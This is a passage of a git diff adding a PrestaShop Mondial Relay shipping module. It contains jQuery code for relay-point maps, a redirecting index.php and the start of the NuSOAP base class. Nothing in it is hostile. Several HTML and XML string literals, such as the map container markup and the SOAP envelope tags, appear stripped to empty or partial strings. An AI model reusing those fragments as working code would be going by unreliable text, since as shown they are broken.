if the element has already been fetched + if (totalElement) + // It Works like a foreach + $('.PS_MRSelectedCarrier').fadeOut('fast', function() + { + if ((element + 1) >= totalElement) + { + // Check if the user already clicked and if the process is done + if (typeof fetchingRelayPoint[carrier_id] != 'undefined') + { + fetchingRelayPoint[carrier_id].fadeIn('fast'); + return ; + } + // If the element isn't cached, we fetch it + PS_MRFetchRelayPoint(carrierSelected); + } + ++element; + }); + else + PS_MRFetchRelayPoint(carrierSelected); + } + + /** + * Create the Gmap Block and cache the js object for the carrier + * + * @param id_carrier + */ + function PS_MRCreateGmap(id_carrier) + { + // This has been written this way because it needed to have a known block + // present everytime in the page. Body is the only one sure. + // It's an hidden block which will be put in the right block when user select his + // own carrier + $('body').prepend('\ + \ + \ +
        \ +
        '); + $('#PS_MRGmap_' + id_carrier).gmap3( + { + action: 'init', + callback: function(result) + { + GmapList[id_carrier] = $(this); + // Can't set the display to none by default (bug due to + // navigator that tell to google that the content size = 0 + //$(this).toggle('fast'); + } + } + ); + } + + /** + * Resize the map when the div got changement about dimension / position and displaying + * + * @param $map + */ + function PS_MRGmapResizeEvent($map) + { + gmap = $map.gmap3({action:'get'}); + google.maps.event.trigger(gmap, 'resize'); + } + + /** + * Move the view of the gmap to a marker + * liable to the relay point + * + * @param $map + * @param marker + * @param relayNum + */ + function PS_MRGmapPlaceViewOnMarker($map, marker, relayNum) + { + $map.gmap3( + { + action:'panTo', + args:[marker.position], + callback: function() + { + PS_MRDisplayClickedGmapWindow(marker, relayNum, $map); + + // Make dancing markers in Firefox / IE will use the CPU to 50 to 100 % about + if (!$.browser.msie && !$.browser.mozilla) + (function(m) + { + setTimeout(function() + { + m.setAnimation(google.maps.Animation.BOUNCE); + }, 200); + })(marker); + // marker.setAnimation(google.maps.Animation.BOUNCE); + } + }); + } + + /** + * Stop all dancing marker of the current selected carrier + * + * @param currentMarkerList + */ + function PS_MRStopDancingMarkers(currentMarkerList) + { + for (markerNumber in currentMarkerList) + if (currentMarkerList[markerNumber] != undefined) + if (currentMarkerList[markerNumber].getAnimation() != null) + currentMarkerList[markerNumber].setAnimation(null); + } + + /** + * Display the Gmap of the selected relay point + * + * @param contentBlockid + * @param $map + */ + function PS_MRDisplayGmap(contentBlockid, $map) + { + var tab = contentBlockid.split('_'); + var relayPointNumber = tab[1]; + var id_carrier = tab[2]; + + // Stop the dancing marker of the current carrier + PS_MRStopDancingMarkers(markerList[id_carrier]); + if ($('#PS_MRGmap_' + id_carrier).css('display') == 'none') + { + $('#' + contentBlockid).after($('#PS_MRGmap_' + id_carrier)); + $('#PS_MRGmap_' + id_carrier).slideDown('fast', function() + { + PS_MRGmapResizeEvent($map); + PS_MRGmapPlaceViewOnMarker($map, markerList[id_carrier][relayPointNumber], relayPointNumber); + }); + } + else + { + previousElem = $('#PS_MRGmap_' + id_carrier).prev(); + //$('#' + contentBlockid).after($('#PS_MRGmap_' + id_carrier)); + $('#PS_MRGmap_' + id_carrier).toggle('fast', function() + { + if (previousElem.attr('id') != contentBlockid) + { + $('#' + contentBlockid).after($(this)); + $('#PS_MRGmap_' + id_carrier).slideDown('fast', function() + { + PS_MRGmapPlaceViewOnMarker($map, markerList[id_carrier][relayPointNumber], relayPointNumber); + }); + } + }); + } + } + + /** + * Generate an html block to display the opening hours details + * + * @param relayInfo + */ + function PS_MRGetTimeRelayDetail(relayInfo) + { + onClick = 'onClick="PS_MROpenPopupDetail(\'' + relayInfo.permaLinkDetail + '\')"'; + + var html = ' \ +
        \ + \ +

        ' + relayInfo.LgAdr1 + '
        ' + relayInfo.LgAdr3 + + ' - ' + relayInfo.CP + ' - ' + relayInfo.Ville + + ' ' + relayInfo.Pays + '

        \ + ' + PS_MRTranslationList['moreDetails'] + ' \ +
        '; + return html; + } + + /** + * Call a MondialRelay page into a popup + * + * @param url + */ + function PS_MROpenPopupDetail(url) + { + window.open(url, 'MondialRelay', + 'height=200, width=400, top=100, left=100, toolbar=no, menubar=yes, \ + location=no, resizable=yes, scrollbars=no, status=no'); + } + + /** + * Display the gmap windows selected by the user + * + * @param marker + * @param relayNum + * @param mapObject + */ + function PS_MRDisplayClickedGmapWindow(marker, relayNum, mapObject) + { + if (last_gmap_info_clicked.length) + { + // Close the last opening window in gmap + if ((lastWin = mapObject.gmap3({action:'get', name:'infowindow', tag:last_gmap_info_clicked}))) + lastWin.close(); + } + + // Open the selected detail window + map = mapObject.gmap3('get'); + if ((currentWindow = mapObject.gmap3({action:'get', name:'infowindow', tag:relayNum}))) + currentWindow.open(map, marker); + last_gmap_info_clicked = relayNum; + } + + /** + * Add a new Marker to a Gmap for a carrier using the + * relay point information + * + * @param id_carrier + * @param relayPointNumber + * @param contentBlockid + */ + function PS_MRAddGMapMarker(id_carrier, relayPointNumber, contentBlockid) + { + // Check if the gmap has been properly created + if (GmapList[id_carrier] == undefined) + return ; + var relayInfo = relayPointDataContainers[relayPointNumber]; + var detailContentHtml = PS_MRGetTimeRelayDetail(relayInfo); + + // Add Marker to the map + var fullFormatedAddress = relayInfo.LgAdr1 + ' ' + relayInfo.LgAdr3 + ' ' + + relayInfo.CP + ' ' + relayInfo.Ville + ' ' + relayInfo.Pays; + GmapList[id_carrier].gmap3( + { + action: 'addMarker', + address: fullFormatedAddress, + tag:relayInfo.Num, + map: + { + center: true, + zoom: 14 + }, + marker: { + events: + { + click:function(marker, event, data) + { + PS_MRDisplayClickedGmapWindow(marker, relayInfo.Num, $(this)); + } + }, + callback: function(marker) + { + if (marker) + { + // Check if the a marker list exist for the carrier, + if (markerList[id_carrier] == undefined) + markerList[id_carrier] = new Object(); + + // Store the marker in the markerList of the carrier + markerList[id_carrier][relayPointNumber] = marker; + + // Link all relay point line info to an action + $('#' + contentBlockid).children('p').click(function() + { + PS_MRDisplayGmap($(this).parent().attr('id'), GmapList[id_carrier]); + }); + return true; + } + else + $('#' + contentBlockid).children('p').click(function() + { + PS_MROpenPopupDetail(relayInfo.permaLinkDetail); + }); + } + }, + infowindow: + { + options: {content:detailContentHtml}, + tag:relayInfo.Num, + callback: function(infowindow) { + + var windowList = $(this).gmap3({action:'get', name:'infowindow', all:true}); + $.each(windowList, function(i, elem) { + elem.close(); + }); + } + } + }); + return false; + } + + /** + * Display the selected form block for the configuration page + * @param block_id + */ + function PS_MRDisplayConfigurationForm(block_id) + { + var block_form_id = block_id + '_block'; + var total_form = $('.PS_MRFormType').length; + var i = 0; + + $('.PS_MRFormType').each(function() + { + if ($(this).attr('id') != block_form_id) + $(this).css('display', 'none'); + if ((i + 1) == total_form) + { + $('#' + block_form_id).fadeIn('fast'); + $('#' + block_id).parents('ul').children('li').attr('class', ''); + $('#' + block_id).parent().attr('class', 'selected'); + } + ++i; + }); + + if ($('#' + block_form_id).length == 0) + $('#MR_error_account').fadeIn('fast'); + } + + function checkToDisplayRelayList() + { + if (typeof PS_MRData != 'undefined') + { + PS_MRSelectedRelayPoint['relayPointNum'] = selected_relay_point = PS_MRData.pre_selected_relay; + // PS_VERSION < '1.5' + if (PS_MRData.PS_VERSION < '1.5') + { + selected_id_carrier = $('input[name=id_carrier]:checked').val(); + // Bind id_carrierX to an ajax call + $.each(PS_MRData.carrier_list, function(i, carrier) { + $('#id_carrier' + carrier.id_carrier).click(function(){ + PS_MRCarrierSelectedProcess($(this), carrier.id_carrier, carrier.dlv_mode); + }); + PS_MRCarrierMethodList[carrier.id_carrier] = carrier.id_mr_method; + if ($('#id_carrier' + carrier.id_carrier).attr('checked')){ + PS_MRCarrierSelectedProcess($('#id_carrier' + carrier.id_carrier), carrier.id_carrier, carrier.dlv_mode); + } + }); + } + else if (PS_MRData.PS_VERSION >= '1.5' && PS_MRData.carrier) + { // 1.5 way + selected_id_carrier = $('input[class=delivery_option_radio]:checked').val().replace(',', ''); + var carrier_block = $('input[class=delivery_option_radio]:checked').parent('div.delivery_option'); + + PS_MRCarrierMethodList[PS_MRData.carrier.id] = PS_MRData.carrier.id_mr_method; + PS_MRSelectedRelayPoint['carrier_id'] = PS_MRData.carrier.id; + // Simulate 1.4 table to store the relay point fetched + $(carrier_block).append( + '
        ' + +'' + +'' + + '' + + '' + +'
        ' + +'
        '); + + PS_MRCarrierMethodList[PS_MRData.carrier.id_carrier] = PS_MRData.carrier.id_mr_method; + PS_MRCarrierSelectedProcess($('#id_carrier' + PS_MRData.carrier.id), PS_MRData.carrier.id, PS_MRData.carrier.mr_dlv_mode); + } + + // Handle input click of the other input to hide the previous relay point list displayed + $('input[name=id_carrier], .delivery_option_radio').click(function(){ + // Hide MR input if one of them is not selected + if (PS_MRCarrierMethodList[$(this).val()] == undefined){ + PS_MRHideLastRelayPointList(); + } + }); + + // 1.5 OPC Validation - Warn user to select a relay point + $('.payment_module a').live('click', function() { + if (PS_MRData.PS_VERSION >= '1.5' && PS_MRData.carrier) + { + var _return = !(!PS_MRSelectedRelayPoint['carrier_id'] || !PS_MRSelectedRelayPoint['relayPointNum']); + if (!_return) + alert(PS_MRTranslationList['errorSelection']); + return _return; + } + }); + } + } + + $(document).ready(function() + { + $('#form').submit(function() + { + return PS_MRCheckSelectedRelayPoint(); + }); + $('#toggleStatusOrderList').click(function() + { + toggleOrderListSelection(); + }); + $('#toggleStatusHistoryList').click(function() + { + toggleHistoryListSelection(); + }); + $('#generate').click(function() + { + generateTicketsAjax(); + }); + $('#PS_MRSubmitButtonDeleteHistories').click(function() + { + deleteSelectedHistories(); + }); + + // Shipping method list + $('.send_disable_carrier_form').click(function() { + $(this).parent('form').submit(); + }); + + // Configuration form page + $('#MR_config_menu a').each(function() { + $(this).click(function() { + PS_MRDisplayConfigurationForm($(this).attr('id')); + }); + }) + + $('input[name="processCarrier"]').click(function() { + if (PS_MRData != 'undefined' && PS_MRData.carrier != null) { + var result = false; + $.each(PS_MRData.carrier_list, function(key, value) { + if (value.id_carrier == selected_id_carrier && selected_relay_point > 0) + result = true; + }); + if (result == true) + return true; + alert(PS_MRWarningMessage); + return false; + } + return true; + }); + + if (typeof(PS_MR_SELECTED_TAB ) != 'undefined') + $('#MR_' + PS_MR_SELECTED_TAB + '_block').fadeIn('fast'); + + // Have the
      • elements centered (TODO: Change it using css if possible) + if ($('#MR_config_menu').size()) + { + var width = $('#MR_config_menu').width(); + + // Take directly the ul width woudln't work + var ul_width = 0; + + $('#MR_config_menu').find('ul > li').each(function() { + + var padding_left = parseInt($(this).css('padding-left').replace(/[^-\d\.]/g, '')); + var padding_right = parseInt($(this).css('padding-right').replace(/[^-\d\.]/g, '')); + + ul_width += parseInt($(this).width()) + padding_left + padding_right; + }); + + width = ((width - ul_width) / 2); + $('#MR_config_menu').children('ul').css('margin-left', width + 'px'); + } + }); + + // To have public method access for this closure + return { + initFront : function() { + checkToDisplayRelayList(); + }, + uninstall : function(url) + { + return PS_MRGetUninstallDetail(url); + } + }; +})(jQuery); diff --git a/modules/mondialrelay2/lib/index.php b/modules/mondialrelay2/lib/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/modules/mondialrelay2/lib/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay2/lib/nusoap/class.nusoap_base.php b/modules/mondialrelay2/lib/nusoap/class.nusoap_base.php new file mode 100755 index 0000000..8bebb8d --- /dev/null +++ b/modules/mondialrelay2/lib/nusoap/class.nusoap_base.php @@ -0,0 +1,995 @@ + +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_base { + /** + * Identification for HTTP headers. + * + * @var string + * @access private + */ + var $title = 'NuSOAP'; + /** + * Version for HTTP headers. + * + * @var string + * @access private + */ + var $version = '0.9.5'; + /** + * CVS revision for HTTP headers. + * + * @var string + * @access private + */ + var $revision = '$Revision$'; + /** + * Current error string (manipulated by getError/setError) + * + * @var string + * @access private + */ + var $error_str = ''; + /** + * Current debug string (manipulated by debug/appendDebug/clearDebug/getDebug/getDebugAsXMLComment) + * + * @var string + * @access private + */ + var $debug_str = ''; + /** + * toggles automatic encoding of special characters as entities + * (should always be true, I think) + * + * @var boolean + * @access private + */ + var $charencoding = true; + /** + * the debug level for this instance + * + * @var integer + * @access private + */ + var $debugLevel; + + /** + * set schema version + * + * @var string + * @access public + */ + var $XMLSchemaVersion = 'http://www.w3.org/2001/XMLSchema'; + + /** + * charset encoding for outgoing messages + * + * @var string + * @access public + */ + var $soap_defencoding = 'ISO-8859-1'; + //var $soap_defencoding = 'UTF-8'; + + /** + * namespaces in an array of prefix => uri + * + * this is "seeded" by a set of constants, but it may be altered by code + * + * @var array + * @access public + */ + var $namespaces = array( + 'SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/', + 'xsd' => 'http://www.w3.org/2001/XMLSchema', + 'xsi' => 'http://www.w3.org/2001/XMLSchema-instance', + 'SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/' + ); + + /** + * namespaces used in the current context, e.g. during serialization + * + * @var array + * @access private + */ + var $usedNamespaces = array(); + + /** + * XML Schema types in an array of uri => (array of xml type => php type) + * is this legacy yet? + * no, this is used by the nusoap_xmlschema class to verify type => namespace mappings. + * @var array + * @access public + */ + var $typemap = array( + 'http://www.w3.org/2001/XMLSchema' => array( + 'string'=>'string','boolean'=>'boolean','float'=>'double','double'=>'double','decimal'=>'double', + 'duration'=>'','dateTime'=>'string','time'=>'string','date'=>'string','gYearMonth'=>'', + 'gYear'=>'','gMonthDay'=>'','gDay'=>'','gMonth'=>'','hexBinary'=>'string','base64Binary'=>'string', + // abstract "any" types + 'anyType'=>'string','anySimpleType'=>'string', + // derived datatypes + 'normalizedString'=>'string','token'=>'string','language'=>'','NMTOKEN'=>'','NMTOKENS'=>'','Name'=>'','NCName'=>'','ID'=>'', + 'IDREF'=>'','IDREFS'=>'','ENTITY'=>'','ENTITIES'=>'','integer'=>'integer','nonPositiveInteger'=>'integer', + 'negativeInteger'=>'integer','long'=>'integer','int'=>'integer','short'=>'integer','byte'=>'integer','nonNegativeInteger'=>'integer', + 'unsignedLong'=>'','unsignedInt'=>'','unsignedShort'=>'','unsignedByte'=>'','positiveInteger'=>''), + 'http://www.w3.org/2000/10/XMLSchema' => array( + 'i4'=>'','int'=>'integer','boolean'=>'boolean','string'=>'string','double'=>'double', + 'float'=>'double','dateTime'=>'string', + 'timeInstant'=>'string','base64Binary'=>'string','base64'=>'string','ur-type'=>'array'), + 'http://www.w3.org/1999/XMLSchema' => array( + 'i4'=>'','int'=>'integer','boolean'=>'boolean','string'=>'string','double'=>'double', + 'float'=>'double','dateTime'=>'string', + 'timeInstant'=>'string','base64Binary'=>'string','base64'=>'string','ur-type'=>'array'), + 'http://soapinterop.org/xsd' => array('SOAPStruct'=>'struct'), + 'http://schemas.xmlsoap.org/soap/encoding/' => array('base64'=>'string','array'=>'array','Array'=>'array'), + 'http://xml.apache.org/xml-soap' => array('Map') + ); + + /** + * XML entities to convert + * + * @var array + * @access public + * @deprecated + * @see expandEntities + */ + var $xmlEntities = array('quot' => '"','amp' => '&', + 'lt' => '<','gt' => '>','apos' => "'"); + + /** + * constructor + * + * @access public + */ + function nusoap_base() { + $this->debugLevel = $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel']; + } + + /** + * gets the global debug level, which applies to future instances + * + * @return integer Debug level 0-9, where 0 turns off + * @access public + */ + function getGlobalDebugLevel() { + return $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel']; + } + + /** + * sets the global debug level, which applies to future instances + * + * @param int $level Debug level 0-9, where 0 turns off + * @access public + */ + function setGlobalDebugLevel($level) { + $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel'] = $level; + } + + /** + * gets the debug level for this instance + * + * @return int Debug level 0-9, where 0 turns off + * @access public + */ + function getDebugLevel() { + return $this->debugLevel; + } + + /** + * sets the debug level for this instance + * + * @param int $level Debug level 0-9, where 0 turns off + * @access public + */ + function setDebugLevel($level) { + $this->debugLevel = $level; + } + + /** + * adds debug data to the instance debug string with formatting + * + * @param string $string debug data + * @access private + */ + function debug($string){ + if ($this->debugLevel > 0) { + $this->appendDebug($this->getmicrotime().' '.get_class($this).": $string\n"); + } + } + + /** + * adds debug data to the instance debug string without formatting + * + * @param string $string debug data + * @access public + */ + function appendDebug($string){ + if ($this->debugLevel > 0) { + // it would be nice to use a memory stream here to use + // memory more efficiently + $this->debug_str .= $string; + } + } + + /** + * clears the current debug data for this instance + * + * @access public + */ + function clearDebug() { + // it would be nice to use a memory stream here to use + // memory more efficiently + $this->debug_str = ''; + } + + /** + * gets the current debug data for this instance + * + * @return debug data + * @access public + */ + function &getDebug() { + // it would be nice to use a memory stream here to use + // memory more efficiently + return $this->debug_str; + } + + /** + * gets the current debug data for this instance as an XML comment + * this may change the contents of the debug data + * + * @return debug data as an XML comment + * @access public + */ + function &getDebugAsXMLComment() { + // it would be nice to use a memory stream here to use + // memory more efficiently + while (strpos($this->debug_str, '--')) { + $this->debug_str = str_replace('--', '- -', $this->debug_str); + } + $ret = ""; + return $ret; + } + + /** + * expands entities, e.g. changes '<' to '<'. + * + * @param string $val The string in which to expand entities. + * @access private + */ + function expandEntities($val) { + if ($this->charencoding) { + $val = str_replace('&', '&', $val); + $val = str_replace("'", ''', $val); + $val = str_replace('"', '"', $val); + $val = str_replace('<', '<', $val); + $val = str_replace('>', '>', $val); + } + return $val; + } + + /** + * returns error string if present + * + * @return mixed error string or false + * @access public + */ + function getError(){ + if($this->error_str != ''){ + return $this->error_str; + } + return false; + } + + /** + * sets error string + * + * @return boolean $string error string + * @access private + */ + function setError($str){ + $this->error_str = $str; + } + + /** + * detect if array is a simple array or a struct (associative array) + * + * @param mixed $val The PHP array + * @return string (arraySimple|arrayStruct) + * @access private + */ + function isArraySimpleOrStruct($val) { + $keyList = array_keys($val); + foreach ($keyList as $keyListValue) { + if (!is_int($keyListValue)) { + return 'arrayStruct'; + } + } + return 'arraySimple'; + } + + /** + * serializes PHP values in accordance w/ section 5. Type information is + * not serialized if $use == 'literal'. + * + * @param mixed $val The value to serialize + * @param string $name The name (local part) of the XML element + * @param string $type The XML schema type (local part) for the element + * @param string $name_ns The namespace for the name of the XML element + * @param string $type_ns The namespace for the type of the element + * @param array $attributes The attributes to serialize as name=>value pairs + * @param string $use The WSDL "use" (encoded|literal) + * @param boolean $soapval Whether this is called from soapval. + * @return string The serialized element, possibly with child elements + * @access public + */ + function serialize_val($val,$name=false,$type=false,$name_ns=false,$type_ns=false,$attributes=false,$use='encoded',$soapval=false) { + $this->debug("in serialize_val: name=$name, type=$type, name_ns=$name_ns, type_ns=$type_ns, use=$use, soapval=$soapval"); + $this->appendDebug('value=' . $this->varDump($val)); + $this->appendDebug('attributes=' . $this->varDump($attributes)); + + if (is_object($val) && get_class($val) == 'soapval' && (! $soapval)) { + $this->debug("serialize_val: serialize soapval"); + $xml = $val->serialize($use); + $this->appendDebug($val->getDebug()); + $val->clearDebug(); + $this->debug("serialize_val of soapval returning $xml"); + return $xml; + } + // force valid name if necessary + if (is_numeric($name)) { + $name = '__numeric_' . $name; + } elseif (! $name) { + $name = 'noname'; + } + // if name has ns, add ns prefix to name + $xmlns = ''; + if($name_ns){ + $prefix = 'nu'.rand(1000,9999); + $name = $prefix.':'.$name; + $xmlns .= " xmlns:$prefix=\"$name_ns\""; + } + // if type is prefixed, create type prefix + if($type_ns != '' && $type_ns == $this->namespaces['xsd']){ + // need to fix this. shouldn't default to xsd if no ns specified + // w/o checking against typemap + $type_prefix = 'xsd'; + } elseif($type_ns){ + $type_prefix = 'ns'.rand(1000,9999); + $xmlns .= " xmlns:$type_prefix=\"$type_ns\""; + } + // serialize attributes if present + $atts = ''; + if($attributes){ + foreach($attributes as $k => $v){ + $atts .= " $k=\"".$this->expandEntities($v).'"'; + } + } + // serialize null value + if (is_null($val)) { + $this->debug("serialize_val: serialize null"); + if ($use == 'literal') { + // TODO: depends on minOccurs + $xml = "<$name$xmlns$atts/>"; + $this->debug("serialize_val returning $xml"); + return $xml; + } else { + if (isset($type) && isset($type_prefix)) { + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = ''; + } + $xml = "<$name$xmlns$type_str$atts xsi:nil=\"true\"/>"; + $this->debug("serialize_val returning $xml"); + return $xml; + } + } + // serialize if an xsd built-in primitive type + if($type != '' && isset($this->typemap[$this->XMLSchemaVersion][$type])){ + $this->debug("serialize_val: serialize xsd built-in primitive type"); + if (is_bool($val)) { + if ($type == 'boolean') { + $val = $val ? 'true' : 'false'; + } elseif (! $val) { + $val = 0; + } + } else if (is_string($val)) { + $val = $this->expandEntities($val); + } + if ($use == 'literal') { + $xml = "<$name$xmlns$atts>$val"; + $this->debug("serialize_val returning $xml"); + return $xml; + } else { + $xml = "<$name$xmlns xsi:type=\"xsd:$type\"$atts>$val"; + $this->debug("serialize_val returning $xml"); + return $xml; + } + } + // detect type and serialize + $xml = ''; + switch(true) { + case (is_bool($val) || $type == 'boolean'): + $this->debug("serialize_val: serialize boolean"); + if ($type == 'boolean') { + $val = $val ? 'true' : 'false'; + } elseif (! $val) { + $val = 0; + } + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$val"; + } else { + $xml .= "<$name$xmlns xsi:type=\"xsd:boolean\"$atts>$val"; + } + break; + case (is_int($val) || is_long($val) || $type == 'int'): + $this->debug("serialize_val: serialize int"); + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$val"; + } else { + $xml .= "<$name$xmlns xsi:type=\"xsd:int\"$atts>$val"; + } + break; + case (is_float($val)|| is_double($val) || $type == 'float'): + $this->debug("serialize_val: serialize float"); + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$val"; + } else { + $xml .= "<$name$xmlns xsi:type=\"xsd:float\"$atts>$val"; + } + break; + case (is_string($val) || $type == 'string'): + $this->debug("serialize_val: serialize string"); + $val = $this->expandEntities($val); + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$val"; + } else { + $xml .= "<$name$xmlns xsi:type=\"xsd:string\"$atts>$val"; + } + break; + case is_object($val): + $this->debug("serialize_val: serialize object"); + if (get_class($val) == 'soapval') { + $this->debug("serialize_val: serialize soapval object"); + $pXml = $val->serialize($use); + $this->appendDebug($val->getDebug()); + $val->clearDebug(); + } else { + if (! $name) { + $name = get_class($val); + $this->debug("In serialize_val, used class name $name as element name"); + } else { + $this->debug("In serialize_val, do not override name $name for element name for class " . get_class($val)); + } + foreach(get_object_vars($val) as $k => $v){ + $pXml = isset($pXml) ? $pXml.$this->serialize_val($v,$k,false,false,false,false,$use) : $this->serialize_val($v,$k,false,false,false,false,$use); + } + } + if(isset($type) && isset($type_prefix)){ + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = ''; + } + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$pXml"; + } else { + $xml .= "<$name$xmlns$type_str$atts>$pXml"; + } + break; + break; + case (is_array($val) || $type): + // detect if struct or array + $valueType = $this->isArraySimpleOrStruct($val); + if($valueType=='arraySimple' || preg_match('/^ArrayOf/',$type)){ + $this->debug("serialize_val: serialize array"); + $i = 0; + if(is_array($val) && count($val)> 0){ + foreach($val as $v){ + if(is_object($v) && get_class($v) == 'soapval'){ + $tt_ns = $v->type_ns; + $tt = $v->type; + } elseif (is_array($v)) { + $tt = $this->isArraySimpleOrStruct($v); + } else { + $tt = gettype($v); + } + $array_types[$tt] = 1; + // TODO: for literal, the name should be $name + $xml .= $this->serialize_val($v,'item',false,false,false,false,$use); + ++$i; + } + if(count($array_types) > 1){ + $array_typename = 'xsd:anyType'; + } elseif(isset($tt) && isset($this->typemap[$this->XMLSchemaVersion][$tt])) { + if ($tt == 'integer') { + $tt = 'int'; + } + $array_typename = 'xsd:'.$tt; + } elseif(isset($tt) && $tt == 'arraySimple'){ + $array_typename = 'SOAP-ENC:Array'; + } elseif(isset($tt) && $tt == 'arrayStruct'){ + $array_typename = 'unnamed_struct_use_soapval'; + } else { + // if type is prefixed, create type prefix + if ($tt_ns != '' && $tt_ns == $this->namespaces['xsd']){ + $array_typename = 'xsd:' . $tt; + } elseif ($tt_ns) { + $tt_prefix = 'ns' . rand(1000, 9999); + $array_typename = "$tt_prefix:$tt"; + $xmlns .= " xmlns:$tt_prefix=\"$tt_ns\""; + } else { + $array_typename = $tt; + } + } + $array_type = $i; + if ($use == 'literal') { + $type_str = ''; + } else if (isset($type) && isset($type_prefix)) { + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = " xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"".$array_typename."[$array_type]\""; + } + // empty array + } else { + if ($use == 'literal') { + $type_str = ''; + } else if (isset($type) && isset($type_prefix)) { + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = " xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"xsd:anyType[0]\""; + } + } + // TODO: for array in literal, there is no wrapper here + $xml = "<$name$xmlns$type_str$atts>".$xml.""; + } else { + // got a struct + $this->debug("serialize_val: serialize struct"); + if(isset($type) && isset($type_prefix)){ + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = ''; + } + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>"; + } else { + $xml .= "<$name$xmlns$type_str$atts>"; + } + foreach($val as $k => $v){ + // Apache Map + if ($type == 'Map' && $type_ns == 'http://xml.apache.org/xml-soap') { + $xml .= ''; + $xml .= $this->serialize_val($k,'key',false,false,false,false,$use); + $xml .= $this->serialize_val($v,'value',false,false,false,false,$use); + $xml .= ''; + } else { + $xml .= $this->serialize_val($v,$k,false,false,false,false,$use); + } + } + $xml .= ""; + } + break; + default: + $this->debug("serialize_val: serialize unknown"); + $xml .= 'not detected, got '.gettype($val).' for '.$val; + break; + } + $this->debug("serialize_val returning $xml"); + return $xml; + } + + /** + * serializes a message + * + * @param string $body the XML of the SOAP body + * @param mixed $headers optional string of XML with SOAP header content, or array of soapval objects for SOAP headers, or associative array + * @param array $namespaces optional the namespaces used in generating the body and headers + * @param string $style optional (rpc|document) + * @param string $use optional (encoded|literal) + * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) + * @return string the message + * @access public + */ + function serializeEnvelope($body,$headers=false,$namespaces=array(),$style='rpc',$use='encoded',$encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'){ + // TODO: add an option to automatically run utf8_encode on $body and $headers + // if $this->soap_defencoding is UTF-8. Not doing this automatically allows + // one to send arbitrary UTF-8 characters, not just characters that map to ISO-8859-1 + + $this->debug("In serializeEnvelope length=" . strlen($body) . " body (max 1000 characters)=" . substr($body, 0, 1000) . " style=$style use=$use encodingStyle=$encodingStyle"); + $this->debug("headers:"); + $this->appendDebug($this->varDump($headers)); + $this->debug("namespaces:"); + $this->appendDebug($this->varDump($namespaces)); + + // serialize namespaces + $ns_string = ''; + foreach(array_merge($this->namespaces,$namespaces) as $k => $v){ + $ns_string .= " xmlns:$k=\"$v\""; + } + if($encodingStyle) { + $ns_string = " SOAP-ENV:encodingStyle=\"$encodingStyle\"$ns_string"; + } + + // serialize headers + if($headers){ + if (is_array($headers)) { + $xml = ''; + foreach ($headers as $k => $v) { + if (is_object($v) && get_class($v) == 'soapval') { + $xml .= $this->serialize_val($v, false, false, false, false, false, $use); + } else { + $xml .= $this->serialize_val($v, $k, false, false, false, false, $use); + } + } + $headers = $xml; + $this->debug("In serializeEnvelope, serialized array of headers to $headers"); + } + $headers = "".$headers.""; + } + // serialize envelope + return + 'soap_defencoding .'"?'.">". + '". + $headers. + "". + $body. + "". + ""; + } + + /** + * formats a string to be inserted into an HTML stream + * + * @param string $str The string to format + * @return string The formatted string + * @access public + * @deprecated + */ + function formatDump($str){ + $str = htmlspecialchars($str); + return nl2br($str); + } + + /** + * contracts (changes namespace to prefix) a qualified name + * + * @param string $qname qname + * @return string contracted qname + * @access private + */ + function contractQname($qname){ + // get element namespace + //$this->xdebug("Contract $qname"); + if (strrpos($qname, ':')) { + // get unqualified name + $name = substr($qname, strrpos($qname, ':') + 1); + // get ns + $ns = substr($qname, 0, strrpos($qname, ':')); + $p = $this->getPrefixFromNamespace($ns); + if ($p) { + return $p . ':' . $name; + } + return $qname; + } else { + return $qname; + } + } + + /** + * expands (changes prefix to namespace) a qualified name + * + * @param string $qname qname + * @return string expanded qname + * @access private + */ + function expandQname($qname){ + // get element prefix + if(strpos($qname,':') && !preg_match('/^http:\/\//',$qname)){ + // get unqualified name + $name = substr(strstr($qname,':'),1); + // get ns prefix + $prefix = substr($qname,0,strpos($qname,':')); + if(isset($this->namespaces[$prefix])){ + return $this->namespaces[$prefix].':'.$name; + } else { + return $qname; + } + } else { + return $qname; + } + } + + /** + * returns the local part of a prefixed string + * returns the original string, if not prefixed + * + * @param string $str The prefixed string + * @return string The local part + * @access public + */ + function getLocalPart($str){ + if($sstr = strrchr($str,':')){ + // get unqualified name + return substr( $sstr, 1 ); + } else { + return $str; + } + } + + /** + * returns the prefix part of a prefixed string + * returns false, if not prefixed + * + * @param string $str The prefixed string + * @return mixed The prefix or false if there is no prefix + * @access public + */ + function getPrefix($str){ + if($pos = strrpos($str,':')){ + // get prefix + return substr($str,0,$pos); + } + return false; + } + + /** + * pass it a prefix, it returns a namespace + * + * @param string $prefix The prefix + * @return mixed The namespace, false if no namespace has the specified prefix + * @access public + */ + function 